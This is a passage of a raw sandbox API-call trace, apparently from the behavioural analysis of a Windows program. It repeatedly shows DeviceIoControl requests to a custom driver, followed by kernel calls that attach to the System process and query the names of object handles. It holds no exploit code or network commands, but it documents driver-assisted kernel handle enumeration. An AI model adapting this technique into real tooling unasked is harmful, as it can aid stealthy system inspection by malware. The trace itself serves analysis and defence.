hHeap=0x190000) returned 1 [0130.108] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.108] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.108] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.108] PsAcquireProcessExitSynchronization () returned 0x0 [0130.108] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.109] ObReferenceObjectByHandle (in: Handle=0xffffffff80000694, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020dd820, HandleInformation=0x0) returned 0x0 [0130.109] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.109] PsReleaseProcessExitSynchronization () returned 0x2 [0130.109] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.109] ObQueryNameString (in: Object=0xfffffa80020dd820, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.109] ObfDereferenceObject (Object=0xfffffa80020dd820) returned 0x2 [0130.109] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.109] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.109] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.109] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.109] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.109] PsAcquireProcessExitSynchronization () returned 0x0 [0130.109] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.109] ObReferenceObjectByHandle (in: Handle=0xffffffff80000698, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021451f0, HandleInformation=0x0) returned 0x0 [0130.109] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.109] PsReleaseProcessExitSynchronization () returned 0x2 [0130.109] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.109] ObQueryNameString (in: Object=0xfffffa80021451f0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.109] ObfDereferenceObject (Object=0xfffffa80021451f0) returned 0x2 [0130.109] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.109] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.109] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.109] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.109] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.109] PsAcquireProcessExitSynchronization () returned 0x0 [0130.109] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.109] ObReferenceObjectByHandle (in: Handle=0xffffffff8000069c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800211c590, HandleInformation=0x0) returned 0x0 [0130.109] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.109] PsReleaseProcessExitSynchronization () returned 0x2 [0130.109] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.109] ObQueryNameString (in: Object=0xfffffa800211c590, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.109] ObfDereferenceObject (Object=0xfffffa800211c590) returned 0x2 [0130.110] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.110] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.110] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.110] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.110] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.110] PsAcquireProcessExitSynchronization () returned 0x0 [0130.110] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.110] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003495c70, HandleInformation=0x0) returned 0x0 [0130.110] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.110] PsReleaseProcessExitSynchronization () returned 0x2 [0130.110] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.110] ObQueryNameString (in: Object=0xfffffa8003495c70, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.110] ObfDereferenceObject (Object=0xfffffa8003495c70) returned 0x2 [0130.110] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.110] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.110] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.110] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.110] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.110] PsAcquireProcessExitSynchronization () returned 0x0 [0130.110] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.110] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002145050, HandleInformation=0x0) returned 0x0 [0130.110] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.110] PsReleaseProcessExitSynchronization () returned 0x2 [0130.110] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.110] ObQueryNameString (in: Object=0xfffffa8002145050, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.110] ObfDereferenceObject (Object=0xfffffa8002145050) returned 0x2 [0130.110] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.110] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.110] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.111] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.111] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.111] PsAcquireProcessExitSynchronization () returned 0x0 [0130.111] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.111] ObReferenceObjectByHandle (in: Handle=0xffffffff800006ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002120590, HandleInformation=0x0) returned 0x0 [0130.111] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.111] PsReleaseProcessExitSynchronization () returned 0x2 [0130.111] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.111] ObQueryNameString (in: Object=0xfffffa8002120590, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.111] ObfDereferenceObject (Object=0xfffffa8002120590) returned 0x2 [0130.111] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.111] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.111] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.111] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.111] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.111] PsAcquireProcessExitSynchronization () returned 0x0 [0130.111] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.111] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020886e0, HandleInformation=0x0) returned 0x0 [0130.111] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.111] PsReleaseProcessExitSynchronization () returned 0x2 [0130.111] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.111] ObQueryNameString (in: Object=0xfffffa80020886e0, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.111] ObfDereferenceObject (Object=0xfffffa80020886e0) returned 0x2 [0130.111] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.111] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.111] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.111] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.111] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.111] PsAcquireProcessExitSynchronization () returned 0x0 [0130.111] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.111] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80019d7730, HandleInformation=0x0) returned 0x0 [0130.111] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.112] PsReleaseProcessExitSynchronization () returned 0x2 [0130.112] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.112] ObQueryNameString (in: Object=0xfffffa80019d7730, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.112] ObfDereferenceObject (Object=0xfffffa80019d7730) returned 0x2 [0130.112] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.112] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.112] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.112] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.112] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.112] PsAcquireProcessExitSynchronization () returned 0x0 [0130.112] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.112] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002142050, HandleInformation=0x0) returned 0x0 [0130.112] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.112] PsReleaseProcessExitSynchronization () returned 0x2 [0130.112] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.112] ObQueryNameString (in: Object=0xfffffa8002142050, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.112] ObfDereferenceObject (Object=0xfffffa8002142050) returned 0x2 [0130.112] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.113] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.113] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.113] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.113] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.113] PsAcquireProcessExitSynchronization () returned 0x0 [0130.113] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.113] ObReferenceObjectByHandle (in: Handle=0xffffffff800006bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002125660, HandleInformation=0x0) returned 0x0 [0130.113] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.113] PsReleaseProcessExitSynchronization () returned 0x2 [0130.113] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.113] ObQueryNameString (in: Object=0xfffffa8002125660, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.113] ObfDereferenceObject (Object=0xfffffa8002125660) returned 0x2 [0130.113] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.113] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.113] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.113] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.113] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.113] PsAcquireProcessExitSynchronization () returned 0x0 [0130.113] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.113] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800248f050, HandleInformation=0x0) returned 0x0 [0130.113] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.113] PsReleaseProcessExitSynchronization () returned 0x2 [0130.113] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.113] ObQueryNameString (in: Object=0xfffffa800248f050, ObjectNameInfo=0xfffffa80024497c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80024497c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.113] ObfDereferenceObject (Object=0xfffffa800248f050) returned 0x2 [0130.113] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.113] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.113] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.113] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.113] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.113] PsAcquireProcessExitSynchronization () returned 0x0 [0130.113] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.113] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80022efa40, HandleInformation=0x0) returned 0x0 [0130.113] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.114] PsReleaseProcessExitSynchronization () returned 0x2 [0130.114] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.114] ObQueryNameString (in: Object=0xfffffa80022efa40, ObjectNameInfo=0xfffffa800245d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800245d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.114] ObfDereferenceObject (Object=0xfffffa80022efa40) returned 0x2 [0130.114] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.114] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.114] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.114] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.114] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.114] PsAcquireProcessExitSynchronization () returned 0x0 [0130.114] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.114] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800213f2c0, HandleInformation=0x0) returned 0x0 [0130.114] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.114] PsReleaseProcessExitSynchronization () returned 0x2 [0130.114] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.114] ObQueryNameString (in: Object=0xfffffa800213f2c0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0130.114] ObfDereferenceObject (Object=0xfffffa800213f2c0) returned 0x2 [0130.114] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.114] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.114] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.114] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.114] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.114] PsAcquireProcessExitSynchronization () returned 0x0 [0130.114] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.114] ObReferenceObjectByHandle (in: Handle=0xffffffff800006cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800212e790, HandleInformation=0x0) returned 0x0 [0130.114] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.114] PsReleaseProcessExitSynchronization () returned 0x2 [0130.114] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.114] ObQueryNameString (in: Object=0xfffffa800212e790, ObjectNameInfo=0xfffffa80023fd7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80023fd7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.115] ObfDereferenceObject (Object=0xfffffa800212e790) returned 0x2 [0130.115] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.115] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.115] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.115] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.115] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.115] PsAcquireProcessExitSynchronization () returned 0x0 [0130.115] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.115] ObReferenceObjectByHandle (in: Handle=0xffffffff800006d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800213ff20, HandleInformation=0x0) returned 0x0 [0130.115] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.115] PsReleaseProcessExitSynchronization () returned 0x2 [0130.115] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.115] ObQueryNameString (in: Object=0xfffffa800213ff20, ObjectNameInfo=0xfffffa80020c0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020c0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.115] ObfDereferenceObject (Object=0xfffffa800213ff20) returned 0x2 [0130.115] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.115] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.115] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.115] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.115] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.115] PsAcquireProcessExitSynchronization () returned 0x0 [0130.115] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.115] 